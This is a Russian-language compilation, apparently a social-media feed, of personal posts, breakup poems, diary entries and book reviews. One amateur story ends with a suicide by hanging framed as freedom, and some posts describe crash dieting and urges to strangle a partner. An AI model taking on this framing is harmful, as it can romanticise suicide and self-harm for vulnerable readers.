как бороться с этими мыслями, о том что я навсегда останусь одна? сегодня снова был такой разговор и мои ответы были больше похожи на навязчивую идею "он последний, в принципе последний, то есть больше никого не будет, и свадьбы моей ты недождешься, потому что никого не будет, я никому не нужна, ну и естественно не буду…" и все в таком духе. я просто боюсь, что это скорее с ума сведет, чем поможет…

А что?
Нет, ну правда, давай?
Я буду с утра заваривать чай
В твоей футболке
Мои стихи в переплётах на полке
И ещё фотки
Твои глаза цвета «май»
И ты уже никуда не уйдёшь
Обещай

Мартин.

Мартин не знал в этом городе никого. Он был один. Ни одной знакомой улочки, ни дома, ни сквера, ни парка, ничего. А в душе огромная дыра от гаммы смешанных чувств. Он чувствовал как мурашки, пробегая по периметру тела, находили укромный уголок в голове и даже заводили дружбу с тараканами. Теперь они, сытые его переживаниями, аплодировали, лежа на спинках, и даже не пытались подняться. Он приехал в этот город за новой жизнью и вдохновением, а нашел только одиночество.

Его нервы превратились в водосточные трубы, и каждый раз гремели от натиска извне. Мартин чувствовал себя слепым. Он ничего не видел перед собой. Ему приходилось вытягивать руки, чтобы посмотреть, кто перед ним. Но когда руки были вытянуты… Он не нащупывал ничего.

В этом городе он сделал, как ему казалось, свое самое важное заключение - человек склонен переоценивать значение себя в жизни других людей. Ему кажется, что без него перестанет планета вращаться, океаны высохнут, по нему прольют 6 литров слез и будут всегда ждать, когда он возвратится. А нет. Тебе всегда будет замена. И, крепко выбив эту мысль у себя в голове, Мартин стал ненавидеть людей всеми фибрами своей души.

А одиночество съедало по частичке этой самой души каждый день, и незаметно для себя самого, Мартин стал злым и замкнутым. Он уже не так восхищенно смотрел на некоторые вещи. Уже не щемило в сердце, и ни одна вещь на свете не могла заставить его глаза сиять как прежде. Мир казался ему несправедливым и пустым.

Часто, разговаривая сам с собой, он спрашивал: «Почему я? Бог, если ты есть, чертов ты ублюдок. Чем тебе я насолил? Почему своей игрушкой ты выбрал меня?»

И в этих, преисполненных желчи, рассуждениях душа его становилась непреступной, а взгляд затуманенным. Он уже не видел никого и ничего. Людей, находившихся рядом, презирал, а тех, что пытались пробиться сквозь стены его замка, ждала холодная усмешка и, свойственные ему, шутки не к месту. По каждому поводу.

Но каким-нибудь вечером в середине недели он садился на кухне, много пил и много курил, стараясь заглушить то дикое одиночество, что просыпалось в еще не до конца умершей душе. Мартин ненавидел это чувство. Но незаметно для себя, со временем, оно стало приносить ему какое-то состояние покоя и удовлетворенности. Он полюбил своё одиночество, стал воспринимать его как старого друга, приветствуя очередными вечерами за стаканом.

Вопреки домыслам людей, знавших Мартина, он не спился. Хотя, были и те, кто этого страстно желал. Вместо этого он, выходя в свет, высоко задирал голову, напускал на себя вид небрежного человека, которому абсолютно плевать на всех и вся. В этой броне он скрывал свое одиночество, уверенный в том, что люди воспримут его чувства за слабость.

Горькая досада и разочарование ждало его и в женщинах. Окончательно убедив себя в том, что каждая из представительниц хочет только использовать его, он стал пользоваться в ответ. Природа наградила Мартина обаянием и той самой ноткой, которая сводила женщин с ума. Но..увы…и тут его поджидало только липкое чувство мерзости. Он получал каждую. И поэтому ему было скучно и постыло. Ни одна не задерживалась у него дольше, чем на одну ночь.

В первое воскресенье сентября Мартин проснулся от яркого луча солнца на своем лице. И тут ему показалось, что жизнь переполнена яркими красками и людьми, он чувствует себя таким живым и переполненным энергией. Кажется все под силу, а все, что было прежде – лишь сон.

Но это не так. Это лишь чудится. Мартин, как и все остальные, кто попал в цепкие лапы одиночества, пытался убедить себя, в том, что он не одинок.

Говорят, мол, когда опускаешься на самое дно, то легче всплывать. В последний понедельник октября Мартин официально достиг дна: его уволили с работы, он окончательно растерял друзей, та, малая горстка людей попросту испарилась, все желания и мечты растаяли. Он пытался почувствовать радость, грусть, симпатию, гнев, ненависть или что-нибудь еще, но у него ничего не получилось.

В среду, в ноябре Мартин повесился, потому что впервые в истории его нескончаемых попоек и рассуждений самим с собой о том, каким мизерным может быть человек в масштабах вселенной, он так ярко осознал, насколько все в мире тленно, что стало грустно и одиноко как никогда раньше.

Это был один из тех дней, когда мир показал всю свою сущность. Жестокий, беспощадный и оставляющий на душе огромные шрамы недоверия, пощечины предательства и прикосновения горечи. В этот момент Мартин ощутил себя совершенно бесполезным.

Его пробрала дрожь, и захотелось спрятаться от всего, завыть, закричать, захотелось кому-то рассказать о своих чувствах. Только вот некому. Нет никого рядом. Он один.

Мартин почувствовал слабость, не минутную слабость, а одну большую черную дыра внутри, которая с каждой минутой, с каждой секундой становилась еще больше чем прежде и заполоняла всё. Он устал бороться со всем этим.

И впервые в жизни, отталкивая табурет, Мартин почувствовал себя свободным.

P.S. Первый раз, на ваш суд. Свой небольшой рассказик. Скажите что-нибудь в ответ - мне важно ваше мнение.

Призраки прошлого не отпускают. Стояла в магазине на кассе и показалось, что за соседней кассой стоит К. Сердце так и екнуло. Прошло уже 5 лет. Прошлое должно оставаться прошлым, но этот город не дает забыть.

теперь я знаю: всё когда-нибудь остынет,
идите к чёрту с вашим «навсегда» —
я предпочту стреляющих мне в спину,
чем тех, кто беспощадно врёт в глаза

Меня учили всегда быть прилежной.
Не бросаться на первых встречных.
Не загораться пустой надеждой.
Ведь ничего не бывает вечным.

Мне говорили «все лечит время».
Мол, все заштопает, перебинтует.
Да только, знаете, я не верю,
что время лечит его поцелуи.

и тебе в пору писать книгу "как встретиться с человеком, которого я ненавижу, чтобы заслужить мое презрение". смешно.


я стану опять ненавидеть субботы
ты станешь курить, верно, крепче и чаще
и станешь счастливей. и пусть я с тобою
не стала святой, но была настоящей.

а этот финал, к сожаленью, понятен.
тебе хорошо без меня,
мой предатель?


кто по кому скучает, не спит ночами?
кто из нас первый предложит другому чая?
кто позвонит и скажет: вернись, пойми же

(нет никого). не будет, чем ты

мне ближе.

Я стала сволочью- надо сказать спасибо,
тем кто ушел, хоть и клялся всегда быть рядом.
Я всё сама. Я же стала безумно сильной!
Ты понимаешь, мне больше тебя не надо…

Только представь, что ты сделал своим уходом:
острым ножом обрубил мои белые крылья…
Ты для меня идеалом был, даже Богом!
После я падала- чаще всего от бессилия!

Всем говорю "спасибо" и улыбаюсь!
Я ни одной ошибки не повторяю!
Знаешь, я в людях больше не ошибаюсь,
если уходят- значит я отпускаю…

Иногда я так его ненавижу, что хочу убить.

Кажется, это было в субботу. Он разбудил меня, и я сначала не поняла, в чем дело. Спрашиваю, мол, что не так? А он взглядом указывает на свою шею. Говорит: "Ты меня чуть не придушила". Пока мы мирно спали, моя рука подбиралась все ближе к его шее, сжимала ее все сильнее, пока он не начал все чувствовать и задыхаться. А я даже не заметила этого. То ли подсознание шалит, то ли он прикалывается, но это жутко. Жутко от того, что я иногда хочу сжать руку на его горле, будучи в здравом уме.

перестань намекать на постель -
ведь проблем не решают объятьем.
я сегодня надену Шанель –
буду
в маленьком
черном
платье.
хватит «гнать» романтичную чушь.
видишь, лед уже в виски растаял?
ах, какая нестойкая тушь…
только плакать у нас – против правил.

где ты ангелов видел с тату?
с интеллектом таким аморальным?
так старался, а выбрал не ту…
что ж бывает, не все идеальны.

может, в тебе тоже болят
люди.
может, тебя тоже ножом в
спину.
ты приходи. нам хорошо
будет.
к черту весь мир. я без
тебя стыну.

Видишь ли, он всегда будет у меня вот здесь.
Вот здесь, прямиком у меня в груди.
С кем бы я не спала, не пила,
За кого бы замуж не выходила, и кому бы не родила.
И что ты там мне ни говори –
Он просто оловом высечен у меня внутри.

и не знаю, хорошо это или очень плохо, но увидимся мы уже в это воскресенье. и я боюсь. я вообще страшная трусиха, но сейчас особенно. например, боюсь разрыдаться во время присяги от гордости или от восторга, боюсь повиснуть на нем. но зато я бегаю быстрее его мамы и бабушки, поэтому все равно буду первая.
господи, так жутко скучать по одному-единственному человеку и жить без личного самолета.

Остывающий кофе
в белой надтреснутой кружке
я ходила кругами по стенам и поднебесной
Мы с тобой столько скомканных лет
притирались друг к дружке
но дороги расходятся
если им тесно
вместе

я соскучился. не знаю даже почему.
просто проснулся сегодня и вдруг подумал о тебе.
представил твою улыбку и улыбнулся в ответ.
представил, как касаюсь ладонью твоей щеки.
наверное, правда, соскучился. ненормальный.
все знают, что я ненормальный. и я всегда таким был.
просто рядом с тобой я мог этого не скрывать.
я мог быть таким, каким мне хотелось быть.
знаешь, я очень соскучился…

И прямо сейчас на твоём маршруте
моя луна перестанет дарить свой свет.

Просто запомни –
именно с этой минуты
меня в тебе
больше
нет

Меня только что обвинили в одиночестве, и кто - сестра. Это мерзко. Да. у нас ужасные отношенения с сестрой.. стали три года назад, но все же. Если правда колит глаза, зачем же срываться на всем мире и унижать так меня, я просто указала на ее неправоту, разве так не должны поступать родственники, ведь кто скажет настоящее, кроме родственников?!

Знаете, что ранит? То, что ты заботишься о них больше, чем они о тебе, то, что ты сделаешь для них все, что угодно, и защитишь от кого угодно, но им на это наплевать. Самое ужасное - это то, что ты заботишься о них слишком много, и потому начинаешь верить, что ты - это все, о чем они думают. А на на самом деле твое имя никогда не звучит у них в голове. Все, что ты делаешь - это живешь с боязнью однажды потерять их. Потому что ты никогда не сможешь отпустить их.

а глаза твои цвета бездонности,
цвета паники, бешенства, скорости.
меня тянет на дно твоей пропасти,
передам там привет своей гордости.

замолчи, у меня от тебя болит в висках.
твои речи, крутятся у меня в голове, целыми сутками.
твои обещания бесконечно летят к чертям.
таких, как ты, я называю словесными проститутками…

Любовь внушает нам благоговейное чувство к самим себе, мы чтим в нас другую жизнь: любовь становится ужаснейшим из несчастий - несчастьем, не лишенным надежды, и надежда эта заставляет нас терпеть пытку.

я так обабилась, что вступила в группу "я жду солдата" и периодически смотрю видосы с тем, как они наконец возвращаются и сходят с поезда. ну и реву во время просмотра, соответственно.
тем временем, прошел один месяц. ОДИН. ну и еще несколько дней.

между нами февраль. майский ветер. пьянящее лето.
килобайты стихов - тех, что так не хотелось писать.
мне расскажут в подробностях, с кем ты, на ком ты и где ты.
я тепло улыбнусь - "он свободен. он может гулять".

амазонка сдалась. я лила тебе мёд каждой фразой,
хоть и знала давно, что покорность змее не идёт..
получился финал, предсказуемый, в принципе, сразу.
хорошо, что сейчас. хорошо, не на высшей из нот.

ты придёшь в мои сны бессознательным эхом соблазна.
и во сне я вернусь даже в ад, если ты позовёшь..
просыпаюсь в слезах, обнимаю хороших и разных, -
" что, кошмары опять?" - "да.. кошмары". не худшая ложь.

если слабость сильна, то логично, что сила угасла.
ты не нож и не пуля, - ты медленный, ласковый яд..
это жутко пугает привыкших кататься по маслу:
лучше честная драка, объявленный громко джихад.

я кричу в пустоту этой осени - хватит. довольно!
дай мне право стереть его образ с закрытых страниц!
пусть он блекнет легко. пусть он больше не делает больно.
пусть другие в экстазе сгорают и падают ниц…

_____
ты остался запретным - гора или яма /по рейтингу бывших/?
я не бросилась в пропасть, но я отдалилась, любя.
мы не будем вдвоём… слава Богу.
и ты не услышишь,
что когда я молюсь, я всё время молюсь
за тебя.
твоя новая девушка любит миндаль и мёд,
заплетать две косички и летом встречать закаты.
никогда неизвестно, что дальше произойдёт -
мы с тобою могли бы лет восемь как быть женаты.

мы с тобою могли бы… но, видимо, не могли.
здесь бессмысленно, правда, выискивать "что бы, если".
расскажи это памяти. я - расскажу любви.
эта ложь, вероятно, получится интересной.

это ложь? вероятно. получится? кто бы знал.
я давно зареклась предугадывать и бояться.
твоя новая девушка - как ты её назвал? -
любит солнце и ветер, дождинки ловить на пальцы.

твоя новая девушка… точки в конце строки.
твоя новая девушка любит - и как бы закончить фразу?
твоя новая девушка любит… мои стихи.
мироздание шутит.
но мне не смешно ни разу.

увези меня к морю, мама. увези насовсем, прошу.
ты же видишь, как я устала. и симфонией белый шум,
разлагается по частицам исхудалой моей души.
оттого по ночам не спится, что в аорте торчат ножи.

Хочешь, выжми меня без остатка,
Как кусочек лимона для чая,
И налей в свою душу украдкой,
Потому что безумно скучаю…

Потому что мурашки по коже
От любви и от мыслей горячих,
Потому что всю жизнь подытожив,
Ты один будешь максимум значить…

самое дурацкое что эта ревность меня пожирает… ненавижу когда я по нему скучаю а ему весело и без меня… ни одного сообщения за вечер… просто напился, отдахнул с друзьями и лег спать.. а где же я ? АХ ДА Я ЖЕ В ГОРКАХ… СПАСИБО ЛЮБИМЫЙ ЗА ВНИМАНИЕ

Я тебя разлюбила. В семь тридцать утра.
Ты за круглым столом ел на завтрак омлет,
А я думала: «Странно, ведь только вчера,
Я любила тебя. А сейчас – уже нет».

Тот же лоб и над ним непослушная прядь,
Взгляд с прищуром, сводящий когда-то с ума…
Я всегда так боялась тебя потерять,
А теперь потеряться готова сама.

Сколько было труда наши судьбы связать
И потом на себе эту ношу нести…
Оказалось, гораздо труднее сказать:
«Я тебя разлюбила. Так вышло. Прости!»

Все же нет причины броситься под поезд.
Жить можно же любую боль терпя.
И даже если я в дерьме по пояс.
И даже если по уши в тебя.

Мы так мало вместе и мои слова о любви сейчас будут звучать громко, но я с полной уверенностью могу сказать, что рядом с ним мне так хорошо, легко и комфортно.Он любит меня как 10-тилетний мальчик."Мне плевать! Хотя бы на 5 минут, но мы увидимся"-говорит он.Он приходит ко мне на работу и сидит там ночами и ему плевать на то, что ему скажут родители, но он тащит меня к себе домой в 4 утра, когда я немного замерзаю, заливает в меня горячий чай и кутает в одеяло. Рядом с ним я чувствую себя маленький беспомощным ребёнком. А ведь я так не хотела быть с ним, хотела сохранить нашу дружбу.Он мне нравился как друг, но когда он стал чем-то большим я поняла, что уже не смогу прожить ни дня без его сильных тёплых рук, его добрых слов и сверкающих глаз.Никогда не думала, что кто-то может любить меня так, как это делает он.У него это выходит как-то по-своему чудесно. Думаю, это то, что мне нужно было.Он будто спас меня. Бог знает, что бы было со мной. Наверное я бы не выходила из своих запоев, закидывалась бы и спала с кем попало(в общем полное дно), а ведь я на краю стояла и уже даже ногу вперёд вытянула. Я была в состоянии полнейшего безразличия к окружающим, к миру, к друзьям, родителям, к себе….Спасибо тебе, Милый, ты спас мою душу(хотя ты и атеист).

я чувствую на себе их ядовитые взгляды.

они смотрят, но не видят. судят, но не знают. требуют, но не понимают.

кто вырвет меня из этого кошмара?

я хороню себя под осколками стекла, под словами, под обещаниями. я пытаюсь стать подходящим для них, соответствовать, быть достаточно хорошим. продолжайте, оскорбления от вас станут похвалой, а тычки - дружеским похлопыванием по плечу. мне не обидно.

разве мне много нужно? я просто хочу, чтобы вы поняли, мои чувства - не повод для насмешек. я не выбирал, каким родиться, не желал быть таким.

правда в том, что я пытаюсь спрятаться не от них и их слов и взглядов. я пытаюсь спрятаться от человека, которого каждый день вижу в зеркале. он - источник всех проблем.

они говорят, что нужно меньше ныть. они говорят, что нужно меньше жалеть себя. они говорят, что нужно меньше лить слёз. потому что это н е н о р м а л ь н о.

и знаешь, что? я старался изо всех грёбаных сил, но всё, что мне удалось - заставить их на секунду поверить, будто у меня получилось, я стал нормальным. но всё, чем это было - грязным притворством, насилием, разочарованием. в итоге мы всегда возвращаемся к тому, с чего начали. они постоянно чего-то требуют и будут продолжать. но не скажут тебе, как это сделать.

но мы все разные, ясно? никто не может указывать тебе, что ты должен чувствовать или думать.

— x

вот эти заветные слова "Я тебя люблю" для меня ничего не значат. Вот абсолютно. Слова вобще ничего не значат. Хотя при этом друга заставляю говорить, что он меня любит)

Но слова все ранвно ничего не значат

Мужчинки вы мои все бывшие. Общий вопрос лично к каждому. Почему все ваши девушки, которые после меня, у вас такие страшные? Я так испортила вам жизнь, что вы, спасаясь от меня, как от чумы, готовы бежать к кому угодно? Ну хоть убей, не понимаю. Мне даже обидно, что у меня, видимо, не получилось привить вам хоть немного вкуса..

Хотя, возможно, это в силу того, что я сама от вас уходила.. И с выбором немного у вас были трудности..

лена, напишу здесь, вдруг ты не очень часто проверяешь сообщения, или сидишь с мобильного, или еще что, в общем: спасибо тебе огромное за посылку, я восторге и конвульсиях, а главное - это сюрприз! ты писала конечно, что хочешь отправить подарок мне на день рождения, но я этого вообще не ожидала, заглянула в почтовый ящик забрать извещение о другой посылке, а там их два. :) очень приятно. я провела день рождения очень хорошо, спасибо друзьям и семье за это, так что все, как ты завещала! и да, увидела плутон) и арбенина непосредственно присутствовала при всем этом в виде экрана на кухне, пока готовили праздничный обед) насчет книги: тема, кажется, очень актуальна для меня, да и об элисон бехдель я уже столько всего слышала, что в самый раз уже прочесть что-нибудь у нее, так что ты как всегда как нельзя кстати. и за вкусные (и кажется даже полезные?)) печеньки тоже отдельное спасибо. в общем, ты меня несказанно порадовала и удивила. просто не знаю как выразить благодарность и тебе, и всем, кто поздравил, чувствую себя каким-то неблагодарным существом, но мне правда очень приятно! в общем, пока не наговорила лишнего: спасибо еще раз и удачи тебе с поступлением (!)

"Главным делом жизни вашей
Может стать любой пустяк.
Надо только верить,
Что важнее дела нет.
И тогда не помешает
Вам ни холод, ни жара,
Задыхаясь от восторга,
Заниматься чепухой."

Остер идеально описывает мою жизнь.

тренируешься тренируешься, а результат=0

знаю, что быстро не добьешься чего хочется, знаю, что нужно много и регулярно заниматься, знаю, что нужно правильно питаться

все это понятно, но просто из-за отсутствия сдвигов руки опускаются: (

психанушка на меня напала

"Спите с теми, кто снится. Целуйте, закрыв глаза.

Почаще меняйте лица, страницы и адреса.

По лестнице - прямо в Небо. Под песни колоколов, насвистывая нелепо, пиная болиголов,
отстукивая по вене, вселенную волоча, отталкивая ступени из желтого кирпича -
несите на небо звезды. Танцуйте на берегу.
Бросайте дома и гнёзда, потерянную серьгу, утраченную невинность, почти завершенный стих…

Спите. С теми. Кто снится.
Вы сами - один из них."

Береги его, Бог. От беды и внезапных потерь.

Если вдруг он упал и подняться от боли не может…

Если в лютую зиму закроют последнюю дверь,

я прошу об одном: береги, береги его, Боже…

Я не знаю молитв. Я сама - не святой человек.

Но сегодня прошу: он хороший, ты с ним осторожней…

Иногда, не боясь, он бросается в омуты рек.

Вдруг нахлынет волна - помоги, поддержи его, Боже.

Если грянет метель, и погаснет свеча у икон,

если каждая ночь будет полнится холодом лютым,

если взвоют ветра из щелей и разбитых окон -

береги его, Бог: каждый год, каждый час и минуту…

Пусть уйдет далеко кривоногая, злая беда.

Пусть его на руках добрый ангел от горя уносит.

Я прошу тебя, Бог: ты ему помогай иногда.

Он хороший, поверь.. Просто сильный - и сам не попросит.

И тогда я смогу всё на свете и всех превозмочь.

И в мирской суете нет мгновенья, что стало б дороже,

чем когда у окна ваша Женщина целую ночь зажигает свечу,

говоря: Помоги ему, Боже…

Однажды за ней захлопнется дверь И ты обретешь былую свободу. Ты счастлив? Скажи, ты счастлив теперь? Никто не требует ласку, заботу. Никто не пристанет с вопросом о том, Как день ты провел и кто в твоих мыслях. Никто не заглянет в твой телефон, Но только лишится жизнь твоя смысла. Никто не потребует больше тепла, Не скажет о том, что так нужно вниманье. Но ты вдруг не сможешь заснуть до утра И душу заполнит твою ожиданье. Не нужно букеты дарить никому, Не нужно придумывать ей комплименты. Но только захочется вдруг самому Опять пережить с ней былые моменты. И, кажется, столько проблем с ней ушло. И можно по барам - гулять, веселиться. Но только в душе стало вдруг тяжело И продолжает она тебе снится. Никто не поддержит в трудные дни И всем всё равно надел ли ты шапку. Никто не прошепчет тебе о любви, Нежно рукой поправив рубашку. Она была рядом, но ты не ценил. Казалось, что в жизнь приносила проблемы. Она всё терпела, но выход один – Уйти, перестав ждать твоей перемены. Однажды за ней захлопнется дверь. Ты станешь свободным, как многие люди. Но почему ты не счастлив теперь? Просто никто тебя больше не любит.

— Что это было? — Ты о чем?
— Ты поморщился.
— Я ударился локтем.

Это было плечо.
— А отдает в локоть. Вот и все.

— Ты не пойдешь без меня.

— Скотт и Кира будут со мной.
— Я не пущу тебя туда, где тебя чуть не убили.

— Тебя тоже чуть не убили!
— И мы до сих пор живы. Видишь? Мы - команда.

"Брачные игры каннибалов"

Дж. Маартен Троост

Пришелец из страны богов. ©

Летом, особенно когда нет возможности выехать на море или просто отдохнуть всегда хочется читать такие книги, которые непременно окунут нас в приятную атмосферу, дадут возможность расслабиться, и отправят в путешествие, даже не выходя из дома или офиса. «Брачные игры каннибалов» - книга, которая не просто отвечает всем этим требованиям, она создает такое непринужденное, веселое и легкое настроение, что хочется мечтать и веселиться. После неё ты либо уже считаешь, что преодолел полмира, либо сто процентов бросишь все дела и полетишь туда, где почта приходит спустя год после отправки, а новости можно узнать только поздней ночью, крутя ручку старенького радио и наткнувшись на вещание неизвестной станции всего на несколько минут.

Дж.Маартен Троост именно в такое место и отправился. Только не просто в отпуск. Он отправился в Республику Кирибати, что находится в Тихом океане, и прожил два года на атолле Тарава вместе со своей женой. О своей жизни на этом райском и адском острове он и написал книгу, которая, не смотря на свои триста восемьдесят страниц, включает в себя войны и благотворительность, традиции республики и песенно-танцевальные конкурсы, ядерные испытания и чудеса цивилизации, неописуемые ураганы и гуманитарную помощь, вкусных собак и Заслуженного Поэта Кирибати, а также многое другое. Даже чертову Макарену, будь она проклята.

Эта книга полна жизни и рассчитана для широкого круга читателей, которые не боятся открывать для себя что-то новое. Она показывает насколько интересно быть ай-матангом в мире ай-кирибати и что хорошее всегда можно найти даже там, где жизнь каждый день встречает опасности на своем пути. Ведь человек может приспособиться к чему угодно, главное, чтобы близкие тебе люди, которые разделяют твою любовь к приключениям, были рядом.

"Несмотря на все предупреждения («Представь себе вонючую, заваленную мусором полоску песка, а вокруг – на тысячи, десятки тысяч миль ничего, абсолютно ничего», – описывал остров один из побывавших на нем), я почему-то был уверен, что Тарава окажется тем самым тропическим раем, где местные жители добры и полны благородства, а природа, располагающая к расслаблению, вдохновляет на творческие подвиги."

К черту планы. Просто совместные завтраки гораздо романтичнее совместных ужинов. И не надо меня понимать. Я бы и сама хотела себя понять. Просто давай пазлы сложаться. Хотя бы один раз. Без проблем, без войны, без интриг. И не надо мне навсегда. Давай хотя бы на “сейчас”. Мне тоже страшно. Давай ты будешь защищать меня от грозы. Со всем остальным я справлюсь сама. Давай мы поедем смотреть самую светлую квартиру, и в Одессу, слушать шум прибоя. И я не буду идеальной девочкой, но, может, я стану реже срываться по пустякам. Ну давай, а? Я все смогу. А когда все закончиться - мы просто улыбнемся, ведь это было. Я справлюсь и без этого, но…ты просто последний пазл. Последний камень в короне. Точка над і. Давай попробуем.

наш с ним смех самый звонкий. самый что ни на есть счастливый. самый родной и любимый. да, я все так же о смехе. у вас ведь было так, что вы смеетесь до коликов? когда слезы и пот и вы не можете поймать глоток воздуха? когда пытаться остановиться вовсе нет смысла, потому что становится еще хуже. если нет, то мне искренне вас жаль. потому что это настоящее счастье. смеяться от души с тем кто дорог тебе. вчера у меня весь вечер качался пресс, именно от смеха. и сказав что это был наверное самый душевный наш с ним вечер, я точно не проадаю. смейтесь с любимыми чаще, хорошие мои.

В нашем безумном мире у каждого есть свои идеалы. Многие стремятся быть похожими на кого-то, внушая себе, что это правильно. Вроде каждый и считает, что он личность, но выходя на улицу, видит, что таких же как он тысячи. И речь не только о одежде.
Всю жизнь я парюсь по поводу моей фигуры. Все ведь разные, но общество внедрило себе эти "90-60-90" и считает, что так и должно быть. Многие девушки изнуряют себя ради парней, одежды, отражения в зеркале или зависти других. Милые, мы забываем думать о себе! Какой бы ты не была-ты прекрасна! Любить себя очень тяжело, тем более с такими-то запросами. На самом деле очень обидно когда ты идешь с девочккой худее тебя и все взгляды падают на неё. Но ведь всем хочется внимания. Да, многие скажут: "Так следи за собой". Черт возьми, почему я должна подстраиваться под кого-то если мне и так комфортно? Я не заплыла жиром, моя кожа ухожена, я знаю что такое гигиена и у меня есть определенное чувство стиля. Почему я должна отказывать себе в лишнем куске еды, когда эта же худышка сидит рядом и ест пиццу? Из-за всеобщего мнения я разучилась есть! Вот уже как 2.5 года как я стремлюсь к идеалам, которые мне попросту внушили. Зачастую я больше обращаю внимание на свою фигуру, а не развитие. Все прошлое лето я худела ради парня. Да, я хотела ему понравиться, хотя это я и так уже имела. Я никогда не была анорексичкой, но ведь 10 дней пить только 0.5 л кефира в день и чай это ненормально! Всю жизнь многие делают что-то ради кого-то. Совсем недавно я поняла, что мы не нужны никому кроме себя. Общественное мнение как и идеалы меняются ежедневно и невозможно во всем быть идеальным. Любите себя и делайте свою жизнь лучше только ради себя! Надеюсь, что этот безудержный поток мыслей хоть чем-то поможет кому-то или же подскажет действовать в правильном направлении. Лучше уж тратить время на саморазвитие и осуществление своих грёз, нежели подстраиваться под кого-то.

Отзыв. Каждая книга - это маленькая жизнь. Новая жизнь, которая захватывает вас, не зависимо от того, какого она объема: от маленьких рассказов Чехова до романов Толстого. Все это- опыт, мысли писателя. "Куда она ушла" продолжение романа "Если я останусь". Да, местами я возмущалась и не понимала автора, но все это оправдывалось. Еще одна книга Г. Форман об утрате, ошибках и любви. Этот роман помогает понять читателям, что никогда не поздно исправить то, что испорчено, делать то, к сему стремишься всей душой, идти к тому, кого любишь всем сердцем. Учит, что ошибки- это часть жизненного пути, и нужно учится преодолевать препятствия, слышать свое сердце и не отказываться от надежды. Никогда.

Бросать не трудно. Решить бросить — трудно. Если ты примешь такое решение, остальное будет легко.

— Я не ненавижу тебя. И не думаю, что когда-либо действительно делала. И как только я приняла ее, как только поняла ее, она исчезла, - она опускает взгляд, делает глубокий вдох и выдыхает целое торнадо. - Я знаю, что задолжала тебе извинения, я пыталась сказать их всю ночь, но эти слова - извинения, сожаления - они сликом ничтожны по сравнению с тем, чем ты заслуживаешь, - она катает головой. - Я знаю, что то, как я поступила с тобой, было неправильно, но в то время это казалось таким нужным для моего выживания. Я не знаю, могут ли обе эти вещи быть правдой, но именно так и было. Если тебе станет легче, после того, как разрыв перестал казаться таким нужным, когда я поняла, насколько это было неправильным, все что мне осталось - созерцать размры своей ошибки, осознавать тот факт, что я потеряла тебя. И мне пришлось наблюдать за тобой издалека, наблюдать за тем, как ты воплощаешь все свои мечты в реальность и живешь, как казалось, такой идеальной жизнью.

День может и длится всего двадцать четыре часа, но иногда прожить даже один из них кажется столь же невозможным, как покорить Эверест.

У каждого в жизни бывают трудности. У каждого бывает боль.

В плане чувств никогда нельзя точно знать, как отсутствие одного человека больше сказывается на тебе, чем отсутствие другого.

Подведение черты не означает драматическое разделение на "до" и "после". Это больше похоже на меланхоличное чувство, которое возникает в конце очень хорошего отпуска. Нечто особенное подходит к концу, и тебе грустно, но ты не можешь грустить, ведь… эй, было здорово, и будут ещё отпуска, и снова будет хорошо.

Отпустить. Все говорят об этом, как о самой простой вещи. Разогни свои пальцы один за другим, пока твоя ладонь не будет открыта. Но моя рука сжималась в кулак в течение последних трех лет, теперь она намертво закрыта. Я весь намертво закрыт. И собираюсь закрыться полностью.

Постоянно оглядываясь назад на тот ужасный пожар, через который мне пришлось пройти, я не обратил ни малейшего внимания на бездонную пропасть, зияющую впереди.

– А потом Адам Уайлд приходит в Карнеги-холл в самый важный для моей карьеры день, и мне показалось, что это не просто совпадение. Что это подарок. От них. После самого первого концерта они подарили мне виолончель. А после этого – тебя.

У Мии моя гитара. Мия была тем, кто купил мою гитару за какую-то непомерную цену, что означает, Мия, в принципе, знала, что она выставлялась на аукцион. Я пробегаюсь взглядом по комнате. Помимо огромного количество нотных листов, разбросанных по всей студии, я вижу еще и стопку разнообразных журналов, каждый из которых с моим лицом на обложке. И тогда я вспоминаю сцену на мосту, где Миа оправдывала причину своего ухода словами из песни "Рулетка"

Как же мы стали зависимы от техники. Я не знала что делать весь день. Прошлись со знакомой по местности, людей на улицах не так уж и много. Поболтали.
Я уже и забыла как это гулять днем. Все таки плохо когда нет друзей. Так странно, раньше гуляли большой компанией, а сейчас то что? Вчера вечером увидела своих бывших подруг вообще с разными людьми, да и сама же шла с девочкой, с которой и здоровалась раньше редко. Как такое могло произойти так быстро? Прямо сейчас я готова со всеми помириться и забыть обо всем, но почему это так сложно?
Бездействие- причина разрушения нашей жизни. Проще ведь сидеть и ждать, нежели что-то предпринять. Хотя я пыталась наладить отношения с бывшей лп. Как мне её не хватало. Мы даже не понимаем что стало причиной нашей ссоры. Её гордость и нежелание не позволяет нам общаться снова, да и доверия уже как такового быть не может. Обидно. Как же мы изменились по большому счету ничего и не делая. За год я потеряла всех.
Да и к черту. Никогда не бегала за "друзьями" и не собираюсь. Значит они не были настоящими.

forestbeats – море любви и эмоций

Я хочу все поменять. Хочу отрезать волосы, хочу похудеть, хочу научиться отжиматься по-человечески, хочу плоский живот и подтянутые ноги, хочу перестать общаться с огромным количеством людей, хочу сесть на шпагат, хочу выучить немецкий и испанский языки, хочу рисовать портреты на заказ, хочу освоить пастель, хочу бегать по вечерам, хочу иметь дополнительный заработок, хочу иметь возможность помогать сестре и родителям с деньгами, хочу забыть навсегда А., хочу наладить отношения с сестрой, хочу в горы, хочу в лес, хочу новые туфли, хочу полетать на самолете, прыгнуть с парашютом, научиться каллиграфии, научиться готовить сложные блюда, хочу погулять по ночной Уфе, хочу на вышки в Горке, хочу на колесо обозрения, хочу полетать на воздушном шаре, хочу в Москву, в Питер, в Нижний Новгород, заграницу хочу, хочу жить так, как мне хочется! Хочу и добьюсь этого! Как бы не было тяжело! У меня все это будет, я всему этому научусь! Самой себе обещаю.

Знаете что? Иногда в ленте появляются люди, который засирают эмоциональный настрой. Почитав их хочется блевануть в тёмном уголке. Все эти скопированные мысли с инета. Пост за постом. Мне не приятно столько читать этих одноразовых копий, которые я зачастую пролистываю. И от писаться я тоже не в силах, ибо они подписались первыми. Возможно я не в теме, но мне не понятен ход мыслей, что сейчас во всей моей ленте.

